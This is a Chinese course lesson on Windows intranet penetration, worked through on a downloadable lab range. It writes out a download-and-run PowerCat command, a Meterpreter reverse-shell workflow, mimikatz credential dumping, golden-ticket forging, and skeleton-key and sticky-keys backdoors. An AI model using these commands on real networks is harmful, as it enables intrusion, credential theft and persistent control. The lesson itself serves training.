Skip to content

17内网渗透:内网的员工电脑是怎么被外部黑掉的?

前面我已经介绍了很多常见的 Web 漏洞攻防相关的知识,在攻击者拿下外网服务器之后,他们可能进一步向内网渗透。

企业往往对外网进行重兵把守,但对内网安全又常常被忽视,因为多数人觉得反正身处内网,外面又访问不到,一些安全漏洞也不进行修复,防御系统也不部署,内网安全问题可谓千疮百孔。

内网渗透主要是针对企业员工电脑为主,大多是 Windows 机器,虽然现在 Mac 办公也慢慢流行起来了,但 Windows 仍是主流,所以本课程主要以针对 Windows 内网的渗透攻击与防御为背景,介绍一些常用的内网渗透手法,以及相应的安全防御策略。

内网靶场搭建

国内的红日安全团队曾提供内网渗透实战靶场的下载(大小共 13 G),你可以从百度网盘上下载,如果自己从头搭建测试环境的话,配置流程相当麻烦。

百度网盘:https://pan.baidu.com/s/1nC6V8e_EuKfaLb2IuEbe7w&shfl=sharepset

下载密码为:n1u2

系统登录密码:hongrisec@2019,登录后可能会要求你更改密码

如靶场的内网拓扑结构图所示,共涉及 3 台虚拟机。

图 1 靶场的内网拓扑结构图

这 3 台虚拟机分别如下。

VM1:Windows 7 x64,开放 Web 服务的服务器

VM2:Win2K3 Metasploitable,内网机器

VM3:Windows Server 2008 R2 x64,内网机器,域控服务器(关于域控的介绍见下文)

图 2 内网靶场虚拟机

靶场练习的攻击目的就是在攻破 VM1 拿到 webshell 之后,继续向内网的 VM2 和 VM3 机器进行渗透,最终拿到域控服务器的最高权限。

内网基础知识

内网渗透很多时候是针对域的渗透,常见于 Windows 系统,所以下面重点介绍下内网中 Windows 系统中常见的一些概念,以便后续介绍内网渗透技术时容易理解。

1.域

域(Domain)是将网络中的多台计算机通过逻辑的方式组织到一起,进行集中管理的环境。用户以合法身份登录域后,就可以访问域内的资源,默认另一个域中的用户无法访问另一个域中的资源。

举例个应用场景:公司内有 1000 台计算机,需要在每台计算机上创建一个叫 lagou 的统一用户,按传统方法就是一台台去建号并设置密码,一旦要改密码又要一台台去修改。

如果通过域来统一管理就方便多了,在域中通过活动目录(域中提供目录服务的组件,可用于存储网络对象,比如账号、计算机、共享资源、打印机和联系人等信息)创建 lagou 账号就可在 1000 台计算机任意一台中登录,更改密码也同样适用。

通过查看计算机属性可获取一些域信息:

图 3 计算机属性信息

但是在实际渗透过程中,我们常常会使用一些命令,比如下面这些方法。

通过 ipconfig 命令可以判断当前服务器是否存在域,如下图中显示的 god.org 就是其所处的域:

java
ipconfig /all

图 4 通过 ipconfig 命令判断是否存在域

如果存在域中,还可以使用以下命令查看指定用户的详细信息:

java
net user xxx /domain

图 5 查看域用户信息

如果你想查看域内有哪些机器,还可通过执行以下命令实现:

java
# 查询域名
net view /domain
# 查询域内所有计算机
net view /domain:{域名}

图 6 查询域内所有计算机

如果你想查询域内所有用户组列表,可以使用以下命令:

java
net group /domain

图 7 查询域内所有用户组列表

上面介绍几条命令主要用于获取域内常用信息时使用的,可以帮助我们进一步渗透时收集信用使用。

2.域控制器

域控制器是域中拥有管理域内其他主机的计算机,它负责所有本域内的计算和用户的验证工作,它是整个域的通信枢纽,域内所有用来验证身份的账号和密码哈希都存在域控制器中。所以,内网渗透的最终目标常常就是为了攻下域控服务器,这样就等同于控制整个域内的计算机。

通过 nltest 命令可以查看域控制器的机器名,下图显示的域控制器机器名为 OWA。

java
nltest /DCLIST:{域名}

图 8 查看域控制器的机器名

然后通过前面介绍的 ipconfig/all 来查看当前主机的机器名是否为域控制器。

有时一个域内会存在两台或两台以上的域控制器,我们可以通过以下命令来查看域控制器组内的所有域控制器的主机名:

java
net group "Domain Controllers" /domain

图 9 查看所有域控制器的主机名

查看域管理员,下图显示是 Administrator:

java
net group "domain admins" /domain

图 10 查看域管理员

所以这台叫 OWA 机器名的域控制器就是我们内网渗透的攻击目标,正是它上面登录着域管理员账号,也是为了方便后面我们从域控中导出域管理员的密码。

那这台机器对应的 IP 是什么呢?有两种常用方法。

  • 查询 DNS 服务器,因为它与域控制器常常在同一台服务器上。
java
nslookup {域名}

图 11 查询 DNS 服务器

  • 扫描内网主机,寻找对应机器名的 IP,比如用nbtscan 工具,它就是利用 NetBIOS 协议去进行机器名查询解析应答的过程以探测内网主机。

图 12 利用 nbtscan 扫描内网主机

基于上述方法的输出结果,我们可以知道域控制器 IP 为 192.168.52.138。

3.域关系

一台台计算机组成一个域,称为单域。

出于管理或其他需求,可能将一个域分成多个域来管理,就像公司分成几个部分一样,那么公司层面的域称为父域,部门层面的域称为子域。

父子域与域名中的一级域名、二级域名的概念类似,比如 test.baidu.com 是 baidu.com 的二级域,父域是 baidu.com,子域是 test.baidu.com。

这些父子域称成了域树,一个个域树建立起来的组合称为域森林,简单域林。

图 13 域关系图

内网信息收集

前面已经介绍一些获取域信息的常见命令,包含如何判断是否存在域、域名查询、用户名查询、定位域控制器等方法,因此这些内容不再赘述。

下面介绍两款比较自动化获取内网信息的工具:Empire 和 BloodHound。除此之外还有其他工具,比如 Metasploit、PowerView、Seatbelt、WMIC 等等,你可以在后面自行搜索相关工具和资料继续扩展学习。

1.Empire 后渗透利器

这里推荐一款叫 Empire 的内网渗透利器来自动收集内网信息。你可以先用 Empire 生成后门,然后上传到目标机器上执行,如果你已经拿到 webshell,那可以先把后门可执行文件放置在外网服务器上,再用 webshell 下载执行。若是纯内网机器,那就通过外网 Web 服务器下载好后,再传给内网机器。

下面介绍一些常用的功能模块和使用命令:

java
#收集主机信息,包括本机用户、域组成员、系统基本信息、共享信息等等
> usemodule situational_awareness/host/winenum
> execute
#探测内网存活机器
> usemodule situational_awareness/network/arpscan
> set Range 192.168.52.0-192.168.52.255
> execute
#搜索域管理员登录的机器
> usemodule situational_awareness/network/powerview/user_hunter
> execute
#获取主机账号和密码
> mimikatz
> creds

由于篇幅所限,没法把 Empire 的方方面面都介绍一遍,否则这一篇文章也写不完,还是推荐你看下《后渗透测试神器Empire的详解》这篇文章,以及官方 WiKi 文档

2.BloodHound 域分析工具

BlooadHound 是一款自动化分析并提取域信息的免费工具,它通过图与线的形式,将各类主机、用户、组、会话等信息之间的关系可视化地展示出来。

图 14 Bloodhound

该工具最有用也是最常用的一个功能就是提供攻击域控的最短路径,可以帮助我们更快地攻下域控服务器。

图 15 查找域管理员的最短路径

关于 Bloodhound 的安装和使用,更多信息可参考 BloodHound 官方使用指南

通信隧道建设

为进一步的内网渗透,通常会建立一个通信隧道,一方面便于与无法直边的内网机器交互,一方面为了绕过防火墙端口屏蔽的安全限制。

你可以先用以下命令来判断是否允许访问外网,利用不同协议来判断会更全面一些:

  • ping:基于 ICMP 协议

  • curl:基于 HTTP 协议

  • netcat:基于 TCP 协议

  • nslookup:基于 DNS 协议

看哪些通信协议可以出网的,就可以尝试利用它来建立起内网通信隧道,下面介绍一些常用的通信隧道建设方法。

1.PingTunnel

PingTunnel 是一款基于 ICMP 协议的通信隧道工具。

ICMP 经常是被忽略的防火墙忽略的通信协议,所以有时可以通过它绕过防火墙的限制;另外还有一个更大好处是,通过 PingTunnel 可以间接访问到内网服务器。比如攻击者 A 攻下服务器 B,服务器 B 跟内网服务器 C 连通,但 A 无法直连 C,这时通过建立起 ICMP 隧道即可解决此问题。

它的使用方法如下:

  • 先在跳板机(一般取开放 Web 的服务器,即最早被我们拿到 webshell 权限的服务器)上运行以下命令开启后门。
java
ptunnel -x {连接密码}
  • 再在攻击者机器上运行以下命令去连接。
java
ptunnel -p {跳板机IP} -lp {本地监听端口} -da {目标IP} -dp {目标机器端口} -x {连接密码}

2.lcx 端口转发

lcx 是一款常用的轻便的端口转发工具,它是基于 Socket 实现的,常用于转发数据到防火墙许可的服务器或端口上,其使用方法如下:

java
#将本机端口 111 的通信数据转发到本机端口 222
lcx.exe -listen 111 222
#将目标机器端口3389的通信数据转发到公网机器端口4444
lcx.exe -slave {公网IP} 4444 127.0.0.1 3389
#访问本地端口111即访问目标IP的3389端口
lcx.exe -tran 111 {目标IP} 3389

3.PowerCat

PowerCat 是 netcat 的 PowerShell 版本,它允许本地执行,也可远程执行。常用的远程执行命令如下,下载 PowerShell 脚本进行执行,它会在本地监听 8000 端口,并关联 cmd:

java
powershell "IEX (New-Object
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat
-l -p 8000 -e cmd"

然后攻击者主动连接 8000 端口,即可获取 shell 权限。

4.SSH

几乎所有的 Linux/Unix 服务器都会支持 SSH 协议,在针对此类操作系统的攻击时就可以派上用场,用它来做代理和转发。

常用命令如下:

java
#通过跳板机访问目标IP
ssh -CNfg -L 2121:{目标IP}:21 root@{跳板机IP}
#访问攻击者IP的2121端口,即是访问目标IP
ssh -CNfg -R 2121:BIP:{目标IP} root@{攻击者IP}

5.EarthWorm

EarthWorm 是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通信,用于复杂网络环境下的数据转发。

它的常用命令如下:

java
# 在目标机器中开启SOCKS代理
ew -s ssocksd -l 888
# 在跳板机上执行如下命令实现数据透传到目标机器上,即将1080端口数据转发到目标IP的888端口上
ew -s lcx_tran -l 1080 -f {目标机器IP} -g 888

权限提升

有时我们利用 Web 漏洞拿到的系统权限是有限制的,为了获取更高的权限,我们就常常使用一些提权的利用方法来实现,下面介绍几种在 Windows 平台下比较常用的提权方法。

补充:为方便本地虚拟机与主机互联测试,我修改了原靶场虚拟机的 IP 地址,将192.168.52.xx 都更改为 192.168.69.xx。

1.利用系统/软件漏洞提权

操作系统本身也有一些漏洞,特别是内核漏洞,常常用来帮助攻击者拿到更高的权限。还有一些拥有驱动程序的软件,比如杀毒软件,这些软件的权限都比较高,如果存在漏洞被利用,也可用于提权。

下面以靶场为例来实践练习下,先在攻击者本地开启监听端口,以等待后门回连:

java
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.69.1 #攻击者IP
LHOST => 192.168.69.1
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.69.1:4444

然后生成回连后门程序 shell.exe,上传到目标服务器(已获得 webshell 的服务器)并运行:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.52.133 LPORT=443 -f exe -o shell.exe

利用成功后获得系统 shell 权限:

java
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.69.1:4444 
[*] Sending stage (176195 bytes) to 192.168.69.143
[*] Meterpreter session 1 opened (192.168.69.1:4444 -> 192.168.69.143:32552) at 2021-01-24 20:55:13 +080
meterpreter > shell
Process 2364 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Users\Administrator\Desktop>whoami
whoami
god\administrator
C:\Users\Administrator\Desktop>exit
exit
meterpreter > getuid
Server username: GOD\Administrator
meterpreter > background
[*] Backgrounding session 1...

利用 post/multi/recon/local_exploit_suggester 模块去获取系统的未修复的漏洞,同时 metasploit 还有对应利用模块的漏洞:

java
msf5 post(windows/gather/enum_patches) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf5 post(multi/recon/local_exploit_suggester) > exploit

图 16 利用 local_exploit_suggester 获取未修复且可利用的漏洞

根据上述信息可以知道,系统上还是不少漏洞可直接利用的,你可以挑选内核漏洞去利用。

不过这里还有个更简单的方法,就是利用 getsystem 命令去获取 SYSTEM 权限,如下图所示。

图 17 利用 getsystem 提权

2.绕过 UAC

即使是 Administrator 权限,有时在执行程序时会失败,相信你对下图的弹框不会陌生。这就是 UAC(用户账户控制),其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

图 18 UAC 导致的弹框

关于绕过 UAC 的原理,我们此处展开讨论,这里推荐几个 Metasploit 自带的利用模块来绕过 UAC:

java
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask

你是不是发现 Metasploit 功能很强大?它什么功能都有,后面的利用,我们还会继续使用到它。

3.令牌窃取

令牌是系统中的临时分配的认证凭证,等同于账号、密码,决定是否允许当前请求及其所属用户。也就是说,获得令牌后,用户可以在不提供密码的情况下访问网络和系统资源。如果被攻击者窃取到,就等同于窃取了他人账号。

在 Metasploit 中可使用 incognito 去罗列当前系统中的有效 Token 并进行复制伪造,如下图所示,假冒"NT AUTHORITY\SYSTEM"令牌成功获取系统管理员权限。

图 19 令牌窃取

横向移动渗透

为了扩大攻击成果,攻击者通常会利用已被攻破的系统作为跳板,去访问域内的其他主机,试图获得更多主机的控制权,下面介绍一些常用的横向移动渗透手段。

1.抓取密码

在 Windows 上抓取密码的工具,最著名的当属 mimikatz,在 Metasploit 中也有集成,直接通过 load mimikatz 命令即可加载使用。

java
meterpreter > load mimikatz
Loading extension mimikatz...[!] Loaded x86 Mimikatz on an x64 architecture.
[!] Loaded Mimikatz on a newer OS (Windows 7 (6.1 Build 7601, Service Pack 1).). Did you mean to 'load kiwi' instead?
Success.
meterpreter > help
...
Mimikatz Commands
=================
    Command           Description
    -------           -----------
    kerberos          Attempt to retrieve kerberos creds
    livessp           Attempt to retrieve livessp creds
    mimikatz_command  Run a custom command
    msv               Attempt to retrieve msv creds (hashes)
    ssp               Attempt to retrieve ssp creds
    tspkg             Attempt to retrieve tspkg creds
    wdigest           Attempt to retrieve wdigest creds
meterpreter > wdigest

由于 Metasploit 默认加载的是 32 位的 Mimikatz 程序,在 x64 机器上运行会导致 wdigest 读取密码失败了,只能获取密码哈希。

图 20 获取密码哈希

这种情况下,只能自己上传 64 位的 mimikatz 程序去获取明文密码,可以从官方下载,运行 mimikatz 后通过以下两条命令,即可实现明文密码的获取:

java
# 提升权限
privilege::debug 
# 搜索明文密码
sekurlsa::logonpasswords

图 21 获取系统的账号与密码

除了 Mimikatz 外,还可以利用 hashdump 可导出当前机器的密码 Hash:

图 22 利用 hashdump 可导出当前机器的密码 Hash

利用 smart_hashdump 还可以获取域内用户的密码 Hash,但需要 system 权限:

图 23 利用 smart_hashdump 导出域内用户的密码 Hash

如果只有 hash,那就需要结合 hashcat 来破解出明文密码,有时也可采用哈希传递攻击的方式去利用,即利用域内一些账号密码相同的情况,直接将密码哈希传递给其他计算机去尝试登录的攻击方式,可以不必花时间破解密码明文,Mimikatz 就支持哈希传递攻击。

前面我们已经知道这里 Administrator 是域管理员,并且刚刚已经获取到密码是 hongrisec@2019,那么接下来我们就可以尝试拿下更多的内网机器,进一步横向移动渗透。

2.账号密码连接

前面已经拿到域管理员的账号、密码,就可以尝试去登录下域内的其他主机,下面我们尝试去登录下域控主机 192.168.69.138。登录方式有很多,常用的是下面几种:

  • 3389 登录

先扫描端口,看目标是否打开 3389,然后用远程桌面连接工具 mstsc.exe 去登录,下图是域控主机的端口扫描结果,发现没有开 3389,就先放弃。

图 24 扫描端口

图 25 远程桌面连接

  • IPC

IPC(Internet Process Connection),进程间连接,它是为了实现进程间通信而开放的命名管道。使用 IPC 连接要求对方开启 139、445 端口才行,同时对方开启了默认共享,这样我们才能访问到共享目录的内容。IPC连接命令格式如下:

java
net use \\{目标IP}\ipc\$ "{密码}" /user:{用户名}

下面是使用示例,由于虚拟机要求更改密码才能使用域,因此我把原密码改为"lagou@2019"了。

图 26 IPC 连接

  • PsExec

PsExec 是 SysInternals 套件中的工具,用于命令行下与目标主机连接和控制,其命令格式如下:

java
psexec \\{目标IP} -u {用户名} -p {密码} cmd.exe

metasploit 就自带有 psexec 模块,用它可直接连接登录主机。

图 27 利用 Metasploit psexec 登录主机

  • WMI

WMI(Windows Management Instrumentation,Windows 管理规范)是由一系列工具组成的,支持本地和远程管理计算机系统,使用命令格式如下:

java
wmic /node:{目标IP} /user:{用户名} /password:{密码} process call create "{命令}"

图 28 使用 WMI 远程执行命令

3.远程漏洞攻击

如果能找到一个其他主机存在的远程漏洞,借助已攻破的主机发起利用,那么也可以达到横向移动的目的。还记得"永恒之蓝"漏洞吗?一款叫作 WannaCry 的勒索病毒袭击全球,其利用的正是"永恒之蓝"(Windows SMB 远程命令执行漏洞),Metasploit 中已集成该漏洞的利用。

你可以多关注下最新的一些远程漏洞,有时直接利用远程漏洞获得域内其他主机的控制权也是一种快捷的方式。

4.跨域攻击

对于父子域这种双向信息的情况,我们可以利用 SID History 进行跨域攻击,使用命令如下。

  • 使用 mimikatz 获取子域的 krbtgt Hash,krbtgt 是域内默认创建的账号,域内每个账号的票据都是由它生成的,只要拿到 krbtgt 的密码 Hash,就可以随意伪造票据,进而使用票据登录域控制器。
java
lsadump::lsa /patch
  • 使用 powerview 获取父子域的 sid:
java
Get-DomainComputer -Domain {父域名}
Get-DomainComputer -Domain {子域名}
  • 利用 mimikatzt 向内存注入票据,添加 SID=519 企业管理员。
java
kerberos::golden /user:Administrator /krbtgt:{第一步获取的hash} /domain:{域名} /sid:{子域sid} /sids:{替换父域sid最后一个值为519} /ptt
  • 访问父域的共享目录
java
dir \\{父域名}\c$

权限维持

有时服务器被重启,或者修改密码之后,我们就失去了对目标的控制权,因此我们得想办法去维持权限的持久性,保证我们在需要的时候都能够远程控制。

1.WebShell

如果是 Webshell,那服务器重启后也没影响。关于 Webshell,前面课程已介绍过,此处不再赘述。

2.系统后门

前面我们使用 metasploit 利用漏洞去获取 meterpreter 后门也是一种方式,你可以把后门添加到自启动项,保证重启后仍有效,这种比较适合开启监听后门,因为有时候我们没有一直在本地开启监听去等待对方连接。

粘滞键后门是最常用的后门留取方式,粘滞键是指连续按 5 次 Shift 键而触发的,它执行的是 windows\system32\sethc.exe 程序,我们用后门程序替换掉就可以。

图 29 粘滞键

除此之外,你还可以使用注册表、计划任务等方式来留取后门。

3.域控维权

在拿到域控后,攻击者会对现有的权限进行持久化操作,以保证长期有效地控制它,常用的方法有以下两种。

  • DSRM

DSRM,目录服务恢复模式是 Windows 域控制器的安全模块启动项,你可以通过它为域控制器设置一个本地管理员账户,然后同步其他账号的密码为 DSRM 密码,再修改注册表的 DrmAdminLogonBehavior 为 2,即允许使用 DSRM 管理员账号登录域控制器:

java
# 同步DSRM密码
ntdsutil
set DSRM password
SYNC FROM DOMAIN ACCOUNT username
Q
Q
#修改注册表配置:
reg add " HKLM\System\CurrentControlSet\Control\Lsa" /v DSRMAdminLogonBehavior /t REG_DWORD /d 2

之后就可以用 mimikatz 去连接:

java
sekurlsa::pth /domain:computername /user:Administrator /ntlm:{密码hash}
  • Skeleton Key

Mimikatz 支持安装万能密码,通过以下命令即可将"mimikatz"作为万能密码去连接域控,哪怕域控密码被修改也可使用。

java
privilege::debug 
misc::skeleton

除此之外,还可以利用 mimikatz 的 mimilib.dll 去记录重启后登录的密码,还有用户 SID History 属性等方式,都可以利用 Mimikatz 工具来实现,它在权限持久化方面提供了不少实用的功能。

总结

本课内容较长一些,主要是内网渗透涉及的知识点太多太杂了,限于篇幅,我也只能介绍一些最主要最常用的技术,按内网渗透流程来分顺序讲解:内网信息收集、通信隧道建设、权限提升、横向移动、权限维持。

更多内网渗透技巧,推荐你去看《内网安全攻防:渗透测试实战指南》这本书,其中还有Cobalt Strike这款在内网渗透中常被使用到的渗透测试框架的详细介绍,它是收费版的,另有社区版叫 armitage,你可以花点时间去研究下 Cobalt Strike 的使用,相信对提高内网渗透实战能力会有很大的帮助。


课程评价入口,挑选 5 名小伙伴赠送小礼品~